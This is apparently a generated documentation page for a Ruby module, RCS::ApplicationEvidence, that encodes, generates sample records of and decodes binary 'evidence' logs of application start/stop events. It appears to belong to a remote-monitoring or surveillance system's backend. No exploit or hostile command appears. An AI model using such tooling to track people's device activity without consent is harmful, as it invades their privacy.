Module: RCS::ApplicationEvidence
- Defined in:
- lib/rcs-common/evidence/application.rb
Constant Summary collapse
- ELEM_DELIMITER =
0xABADC0DE
Instance Method Summary collapse
Instance Method Details
#content ⇒ Object
9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# File 'lib/rcs-common/evidence/application.rb', line 9 def content program = ["Safari", "Opera", "Firefox"].sample.to_utf16le_binary_null action = ['START', 'STOP'].sample.to_utf16le_binary_null info = ['qui quo qua', 'ciao miao bau'].sample.to_utf16le_binary_null content = StringIO.new t = Time.now.getutc content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*') content.write program content.write action content.write info content.write [ ELEM_DELIMITER ].pack('L') content.string end |
#decode_content(common_info, chunks) ⇒ Object
30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# File 'lib/rcs-common/evidence/application.rb', line 30 def decode_content(common_info, chunks) stream = StringIO.new chunks.join until stream.eof? info = Hash[common_info] info[:data] = Hash.new if info[:data].nil? tm = stream.read 36 info[:da] = Time.gm(*tm.unpack('L*'), 0) info[:data][:program] = '' info[:data][:action] = '' info[:data][:desc] = '' program = stream.read_utf16le_string info[:data][:program] = program.utf16le_to_utf8 unless program.nil? action = stream.read_utf16le_string info[:data][:action] = action.utf16le_to_utf8 unless action.nil? desc = stream.read_utf16le_string info[:data][:desc] = desc.utf16le_to_utf8 unless desc.nil? delim = stream.read(4).unpack('L').first raise EvidenceDeserializeError.new("Malformed APPLICATION (missing delimiter)") unless delim == ELEM_DELIMITER yield info if block_given? end :delete_raw end |
#generate_content ⇒ Object
24 25 26 27 28 |
# File 'lib/rcs-common/evidence/application.rb', line 24 def generate_content ret = Array.new 10.rand_times { ret << content() } ret end |